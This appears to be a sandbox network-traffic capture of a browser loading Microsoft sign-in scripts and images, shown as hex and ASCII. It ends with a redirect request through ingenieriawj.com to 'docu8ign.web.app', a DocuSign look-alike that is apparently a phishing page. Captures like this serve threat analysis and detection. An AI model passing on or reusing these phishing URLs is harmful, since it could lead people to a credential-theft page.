2024-09-27 06:18:42 UTC	16383	IN	Data Raw: 28 77 69 6e 64 6f 77 2e 74 65 6c 65 6d 65 74 72 79 5f 77 65 62 70 61 63 6b 4a 73 6f 6e 70 3d 77 69 6e 64 6f 77 2e 74 65 6c 65 6d 65 74 72 79 5f 77 65 62 70 61 63 6b 4a 73 6f 6e 70 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 32 5d 2c 5b 2c 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 2e 72 28 65 29 2c 74 2e 64 28 65 2c 22 56 61 6c 75 65 4b 69 6e 64 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 65 7d 29 29 2c 74 2e 64 28 65 2c 22 45 76 65 6e 74 4c 61 74 65 6e 63 79 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 61 7d 29 29 2c 74 2e 64 28 65 2c 22 45 76 65 6e 74 50 65 72 73 69 73 74 65 6e 63 65 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 62 7d 29 Data Ascii: (window.telemetry_webpackJsonp=window.telemetry_webpackJsonp\|\|[]).push([[2],[,,function(n,e,t){"use strict";t.r(e),t.d(e,"ValueKind",(function(){return r.e})),t.d(e,"EventLatency",(function(){return r.a})),t.d(e,"EventPersistence",(function(){return r.b})
2024-09-27 06:18:42 UTC	1	IN	Data Raw: 30 Data Ascii: 0
2024-09-27 06:18:42 UTC	16383	IN	Data Raw: 29 7d 63 61 74 63 68 28 6e 29 7b 74 28 6e 29 7d 7d 29 29 7d 2c 6e 2e 72 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 6e 28 28 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 69 66 28 65 26 26 65 2e 6c 65 6e 67 74 68 29 74 72 79 7b 66 6f 72 28 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 69 3d 65 5b 72 5d 3b 69 26 26 54 28 69 2e 74 68 65 6e 29 3f 69 2e 74 68 65 6e 28 6e 2c 74 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 28 69 29 7d 29 2c 30 29 7d 2c 69 3d 30 3b 69 3c 65 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 72 28 69 29 7d 63 61 74 63 68 28 6e 29 7b 74 28 6e 29 7d 7d 29 29 7d 2c 6e 7d 28 29 2c 6b 3d 30 2c 50 3d 5b 5d 2c 4e 3d 5b 5d 2c 5f 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 Data Ascii: )}catch(n){t(n)}}))},n.race=function(e){return new n((function(n,t){if(e&&e.length)try{for(var r=function(r){var i=e[r];i&&T(i.then)?i.then(n,t):setTimeout((function(){n(i)}),0)},i=0;i<e.length;i++)r(i)}catch(n){t(n)}}))},n}(),k=0,P=[],N=[],_=[];function
2024-09-27 06:18:42 UTC	16383	IN	Data Raw: 67 20 70 61 79 6c 6f 61 64 2e 20 45 78 3a 22 2b 4f 62 6a 65 63 74 28 75 2e 61 29 28 6e 29 29 2c 44 28 6f 2c 30 2c 7b 7d 29 7d 7d 29 2c 4f 62 6a 65 63 74 28 6f 2e 63 29 28 76 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 48 74 74 70 4d 61 6e 61 67 65 72 3a 5f 64 6f 50 61 79 6c 6f 61 64 53 65 6e 64 2e 73 65 6e 64 65 72 22 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 53 29 69 66 28 30 3d 3d 3d 65 2e 73 65 6e 64 54 79 70 65 26 26 6b 2b 2b 2c 54 26 26 21 65 2e 69 73 42 65 61 63 6f 6e 26 26 33 21 3d 3d 49 2e 5f 74 72 61 6e 73 70 6f 72 74 29 7b 76 61 72 20 74 3d 7b 64 61 74 61 3a 78 2e 64 61 74 61 2c 75 72 6c 53 74 72 69 6e 67 3a 78 2e 75 72 6c 53 74 72 69 6e 67 2c 68 65 61 64 65 72 73 3a 4f 62 6a 65 63 74 28 69 2e 6b 29 28 7b 7d 2c 78 2e Data Ascii: g payload. Ex:"+Object(u.a)(n)),D(o,0,{})}}),Object(o.c)(v,(function(){return"HttpManager:_doPayloadSend.sender"}),(function(){if(S)if(0===e.sendType&&k++,T&&!e.isBeacon&&3!==I._transport){var t={data:x.data,urlString:x.urlString,headers:Object(i.k)({},x.
2024-09-27 06:18:42 UTC	16383	IN	Data Raw: 52 61 6e 64 6f 6d 33 32 3a 6c 2e 61 2c 67 65 6e 65 72 61 74 65 57 33 43 49 64 3a 66 2e 63 7d 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 29 7b 72 65 74 75 72 6e 21 21 4f 62 6a 65 63 74 28 61 2e 65 29 28 22 63 68 72 6f 6d 65 22 29 7d 66 75 6e 63 74 69 6f 6e 20 55 28 6e 2c 65 2c 74 2c 72 2c 69 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 2c 65 2c 74 29 7b 74 72 79 7b 6e 5b 65 5d 3d 74 7d 63 61 74 63 68 28 6e 29 7b 7d 7d 76 6f 69 64 20 30 3d 3d 3d 72 26 26 28 72 3d 21 31 29 2c 76 6f 69 64 20 30 3d 3d 3d 69 26 26 28 69 3d 21 31 29 3b 76 61 72 20 75 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 3b 72 65 74 75 72 6e 20 72 26 26 6f 28 75 2c 22 4d 69 63 72 6f 73 6f 66 74 5f 41 70 70 6c 69 63 61 74 69 6f 6e 49 6e 73 69 67 68 74 73 5f 42 79 70 61 73 73 41 6a 61 78 Data Ascii: Random32:l.a,generateW3CId:f.c};function z(){return!!Object(a.e)("chrome")}function U(n,e,t,r,i){function o(n,e,t){try{n[e]=t}catch(n){}}void 0===r&&(r=!1),void 0===i&&(i=!1);var u=new XMLHttpRequest;return r&&o(u,"Microsoft_ApplicationInsights_BypassAjax
2024-09-27 06:18:42 UTC	13974	IN	Data Raw: 65 74 43 74 78 29 29 7b 76 61 72 20 66 3d 73 2e 67 65 74 43 74 78 28 75 2e 43 68 69 6c 64 72 65 6e 43 6f 6e 74 65 78 74 4b 65 79 29 3b 66 7c 7c 28 66 3d 5b 5d 2c 73 2e 73 65 74 43 74 78 28 75 2e 43 68 69 6c 64 72 65 6e 43 6f 6e 74 65 78 74 4b 65 79 2c 66 29 29 2c 66 2e 70 75 73 68 28 63 29 7d 72 65 74 75 72 6e 20 61 2e 73 65 74 43 74 78 28 22 43 6f 72 65 55 74 69 6c 73 2e 64 6f 50 65 72 66 22 2c 63 29 2c 74 28 63 29 7d 7d 63 61 74 63 68 28 6e 29 7b 63 26 26 63 2e 73 65 74 43 74 78 26 26 63 2e 73 65 74 43 74 78 28 22 65 78 63 65 70 74 69 6f 6e 22 2c 6e 29 7d 66 69 6e 61 6c 6c 79 7b 63 26 26 61 2e 66 69 72 65 28 63 29 2c 61 2e 73 65 74 43 74 78 28 22 43 6f 72 65 55 74 69 6c 73 2e 64 6f 50 65 72 66 22 2c 73 29 7d 7d 7d 72 65 74 75 72 6e 20 74 28 29 7d 66 75 Data Ascii: etCtx)){var f=s.getCtx(u.ChildrenContextKey);f\|\|(f=[],s.setCtx(u.ChildrenContextKey,f)),f.push(c)}return a.setCtx("CoreUtils.doPerf",c),t(c)}}catch(n){c&&c.setCtx&&c.setCtx("exception",n)}finally{c&&a.fire(c),a.setCtx("CoreUtils.doPerf",s)}}}return t()}fu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49745	152.199.21.175	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:41 UTC	412	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_a6PeIgafSneuouox-qU5OA2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:42 UTC	751	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 15870443 Cache-Control: public, max-age=31536000 Content-MD5: e+GEpArZIh9idGnWSOj0zg== Content-Type: application/x-javascript Date: Fri, 27 Sep 2024 06:18:42 GMT Etag: 0x8D99FD6608B3F3E Last-Modified: Thu, 04 Nov 2021 21:02:14 GMT Server: ECAcc (lhc/7930) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: b39e474a-a01e-0051-724d-801217000000 x-ms-version: 2009-09-19 Content-Length: 470200 Connection: close
2024-09-27 06:18:42 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-09-27 06:18:42 UTC	16383	IN	Data Raw: 75 70 6c 69 63 61 74 65 52 65 71 75 65 73 74 22 2c 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 50 68 6f 6e 65 55 6e 72 65 61 63 68 61 62 6c 65 3a 22 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 50 68 6f 6e 65 55 6e 72 65 61 63 68 61 62 6c 65 22 2c 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 50 72 6f 76 69 64 65 72 43 6f 75 6c 64 6e 74 53 65 6e 64 43 61 6c 6c 3a 22 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 50 72 6f 76 69 64 65 72 43 6f 75 6c 64 6e 74 53 65 6e 64 43 61 6c 6c 22 2c 55 73 65 72 32 57 61 79 53 4d 53 41 75 74 68 46 61 69 6c 65 64 50 72 6f 76 69 64 65 72 43 6f 75 6c 64 6e 74 53 65 6e 64 53 4d 53 3a 22 55 73 65 72 32 57 61 79 53 4d 53 41 75 74 68 46 61 69 6c 65 64 50 72 6f 76 69 64 65 72 43 6f Data Ascii: uplicateRequest",UserVoiceAuthFailedPhoneUnreachable:"UserVoiceAuthFailedPhoneUnreachable",UserVoiceAuthFailedProviderCouldntSendCall:"UserVoiceAuthFailedProviderCouldntSendCall",User2WaySMSAuthFailedProviderCouldntSendSMS:"User2WaySMSAuthFailedProviderCo
2024-09-27 06:18:42 UTC	2	IN	Data Raw: 7b 76 Data Ascii: {v
2024-09-27 06:18:42 UTC	16383	IN	Data Raw: 61 72 20 74 3d 74 68 69 73 3b 74 2e 65 72 72 6f 72 54 65 78 74 3d 65 2c 74 2e 72 65 6d 65 64 69 61 74 69 6f 6e 54 65 78 74 3d 6e 2c 74 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 65 72 72 6f 72 54 65 78 74 7d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 69 3d 74 28 32 29 3b 6e 2e 63 72 65 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 2c 74 3d 21 31 3b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 72 65 74 75 72 6e 20 74 3d 21 30 2c 61 2e 65 76 65 6e 74 41 72 67 73 28 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 29 2c 6e 7d 72 65 74 75 72 6e 20 61 2e 65 76 65 6e 74 41 72 67 73 3d 69 2e 6f 62 73 65 72 76 61 62 6c Data Ascii: ar t=this;t.errorText=e,t.remediationText=n,t.toString=function(){return t.errorText}}},function(e,n,t){var i=t(2);n.create=function(e){var n,t=!1;function a(){return t=!0,a.eventArgs(Array.prototype.slice.call(arguments)),n}return a.eventArgs=i.observabl
2024-09-27 06:18:42 UTC	16383	IN	Data Raw: 49 6e 70 75 74 54 79 70 65 53 75 70 70 6f 72 74 65 64 28 29 26 26 28 65 2e 74 79 70 65 3d 53 29 2c 65 7d 29 29 2c 6e 2e 6f 6e 50 72 69 6d 61 72 79 42 75 74 74 6f 6e 43 6c 69 63 6b 3d 6f 2e 63 72 65 61 74 65 28 29 2c 6e 2e 6f 6e 53 65 63 6f 6e 64 61 72 79 42 75 74 74 6f 6e 43 6c 69 63 6b 3d 6f 2e 63 72 65 61 74 65 28 29 2c 6e 2e 73 65 74 54 65 78 74 50 72 69 6d 61 72 79 42 75 74 74 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 2e 70 72 69 6d 61 72 79 42 75 74 74 6f 6e 54 65 78 74 28 65 29 7d 2c 6e 2e 73 65 74 54 65 78 74 53 65 63 6f 6e 64 61 72 79 42 75 74 74 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 2e 73 65 63 6f 6e 64 61 72 79 42 75 74 74 6f 6e 54 65 78 74 28 65 29 7d 2c 6e 2e 73 65 74 56 69 73 69 62 69 6c 69 74 79 50 72 69 6d 61 72 79 42 75 74 Data Ascii: InputTypeSupported()&&(e.type=S),e})),n.onPrimaryButtonClick=o.create(),n.onSecondaryButtonClick=o.create(),n.setTextPrimaryButton=function(e){n.primaryButtonText(e)},n.setTextSecondaryButton=function(e){n.secondaryButtonText(e)},n.setVisibilityPrimaryBut
2024-09-27 06:18:42 UTC	16383	IN	Data Raw: 72 61 6d 73 3a 56 65 28 65 2e 46 6c 6f 77 54 6f 6b 65 6e 29 7d 3a 5b 5d 29 3b 69 66 28 76 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 45 6d 61 69 6c 5d 26 26 76 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 5d 26 26 76 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 5d 29 7b 76 61 72 20 70 3d 45 65 28 65 2c 21 30 2c 6e 29 3b 70 2e 6c 65 6e 67 74 68 3e 30 26 26 28 63 2e 41 72 72 61 79 2e 66 6f 72 45 61 63 68 28 70 2c 41 65 29 2c 75 3d 75 2e 63 6f 6e 63 61 74 28 70 29 29 7d 72 65 74 75 72 6e 20 75 7d 66 75 6e 63 74 69 6f 6e 20 46 65 28 65 2c 6e 29 7b 76 61 72 20 74 3d 5b 5d 3b 69 66 28 76 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 45 6d 61 69 6c 5d 26 26 76 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 5d 26 26 76 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 56 Data Ascii: rams:Ve(e.FlowToken)}:[]);if(ve[PROOF.Type.Email]&&ve[PROOF.Type.SMS]&&ve[PROOF.Type.Voice]){var p=Ee(e,!0,n);p.length>0&&(c.Array.forEach(p,Ae),u=u.concat(p))}return u}function Fe(e,n){var t=[];if(ve[PROOF.Type.Email]&&ve[PROOF.Type.SMS]&&ve[PROOF.Type.V
2024-09-27 06:18:42 UTC	16383	IN	Data Raw: 6f 75 6e 74 56 69 73 69 62 6c 65 2c 6b 3d 5b 5d 2c 50 3d 6e 75 6c 6c 2c 44 3d 69 2e 6f 62 73 65 72 76 61 62 6c 65 28 29 3b 66 75 6e 63 74 69 6f 6e 20 45 28 65 29 7b 52 28 65 29 2c 6e 2e 6f 6e 53 65 74 50 65 6e 64 69 6e 67 52 65 71 75 65 73 74 28 21 31 29 2c 6e 2e 6f 6e 53 77 69 74 63 68 56 69 65 77 28 66 2e 4f 6e 65 54 69 6d 65 43 6f 64 65 2c 21 31 2c 50 29 7d 66 75 6e 63 74 69 6f 6e 20 41 28 65 29 7b 76 61 72 20 74 2c 69 3d 65 2e 67 65 74 4f 74 63 53 74 61 74 75 73 28 29 3b 73 77 69 74 63 68 28 52 28 65 29 2c 69 29 7b 63 61 73 65 20 6c 2e 53 74 61 74 75 73 2e 46 54 45 72 72 6f 72 3a 74 3d 53 2e 43 54 5f 4f 54 43 5f 53 54 52 5f 45 72 72 6f 72 5f 46 6c 6f 77 45 78 70 69 72 65 64 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 74 3d 50 2e 70 72 6f 6f 66 2e 73 Data Ascii: ountVisible,k=[],P=null,D=i.observable();function E(e){R(e),n.onSetPendingRequest(!1),n.onSwitchView(f.OneTimeCode,!1,P)}function A(e){var t,i=e.getOtcStatus();switch(R(e),i){case l.Status.FTError:t=S.CT_OTC_STR_Error_FlowExpired;break;default:t=P.proof.s
2024-09-27 06:18:42 UTC	16383	IN	Data Raw: 3d 69 2e 70 75 72 65 43 6f 6d 70 75 74 65 64 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 2e 70 61 67 69 6e 61 74 69 6f 6e 43 6f 6e 74 72 6f 6c 4d 65 74 68 6f 64 73 28 29 26 26 61 2e 70 61 67 69 6e 61 74 69 6f 6e 43 6f 6e 74 72 6f 6c 4d 65 74 68 6f 64 73 28 29 2e 63 75 72 72 65 6e 74 56 69 65 77 48 61 73 4d 65 74 61 64 61 74 61 28 22 65 78 74 72 61 44 65 62 75 67 44 65 74 61 69 6c 73 22 29 7d 29 29 2c 61 2e 73 68 6f 77 46 6f 6f 74 65 72 43 6f 6e 74 72 6f 6c 3d 69 2e 70 75 72 65 43 6f 6d 70 75 74 65 64 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 72 26 26 61 2e 70 61 67 69 6e 61 74 69 6f 6e 43 6f 6e 74 72 6f 6c 4d 65 74 68 6f 64 73 28 29 26 26 61 2e 70 61 67 69 6e 61 74 69 6f 6e 43 6f 6e 74 72 6f 6c 4d 65 74 68 6f 64 73 28 Data Ascii: =i.pureComputed((function(){return a.paginationControlMethods()&&a.paginationControlMethods().currentViewHasMetadata("extraDebugDetails")})),a.showFooterControl=i.pureComputed((function(){return!r&&a.paginationControlMethods()&&a.paginationControlMethods(
2024-09-27 06:18:42 UTC	5	IN	Data Raw: 61 72 20 65 3d Data Ascii: ar e=
2024-09-27 06:18:42 UTC	16383	IN	Data Raw: 69 2e 53 65 72 76 65 72 44 61 74 61 3b 69 66 28 65 2e 73 74 72 3d 63 2e 67 65 74 53 74 72 69 6e 67 73 28 22 73 74 72 22 2c 65 29 2c 65 2e 68 74 6d 6c 3d 63 2e 67 65 74 53 74 72 69 6e 67 73 28 22 68 74 6d 6c 22 2c 65 29 2c 65 2e 61 72 72 50 72 6f 6f 66 44 61 74 61 3d 63 2e 67 65 74 53 74 72 69 6e 67 73 28 22 70 72 6f 6f 66 44 61 74 61 22 29 2c 21 68 26 26 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 72 79 7b 69 66 28 74 6f 70 21 3d 3d 73 65 6c 66 26 26 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 73 65 6c 66 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2c 32 3d 3d 3d 65 2e 69 46 65 64 53 74 61 74 65 26 26 65 2e 75 72 6c 46 65 64 29 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 2c 69 29 7b 76 61 72 20 61 3d 69 2e 73 46 65 64 Data Ascii: i.ServerData;if(e.str=c.getStrings("str",e),e.html=c.getStrings("html",e),e.arrProofData=c.getStrings("proofData"),!h&&!function(e){try{if(top!==self&&top.location.replace(self.location.href),2===e.iFedState&&e.urlFed)return function(e,n,t,i){var a=i.sFed

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49746	152.199.21.175	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:42 UTC	420	OUT	GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:42 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 16068146 Cache-Control: public, max-age=31536000 Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Content-Type: image/svg+xml Date: Fri, 27 Sep 2024 06:18:42 GMT Etag: 0x8D79A1B9F5E121A Last-Modified: Thu, 16 Jan 2020 00:32:52 GMT Server: ECAcc (lhc/7936) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 91dbb46b-a01e-00e9-0b81-7e3c42000000 x-ms-version: 2009-09-19 Content-Length: 3651 Connection: close
2024-09-27 06:18:42 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49747	152.199.21.175	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:43 UTC	419	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:43 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 16120553 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Fri, 27 Sep 2024 06:18:43 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7905) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: d3446af8-801e-0093-5307-7ec057000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2024-09-27 06:18:43 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49748	149.56.200.84	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:43 UTC	779	OUT	GET /dobe.php?url=https://docu8ign.web.app/5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1 HTTP/1.1 Host: ingenieriawj.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://docu8ign.web.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:43 UTC	310	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 27 Sep 2024 06:18:43 GMT Server: Apache Location: http://www.ingenieriawj.com/dobe.php?url=https://docu8ign.web.app/5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1 Content-Length: 334 Connection: close Content-Type: text/html; charset=iso-8859-1
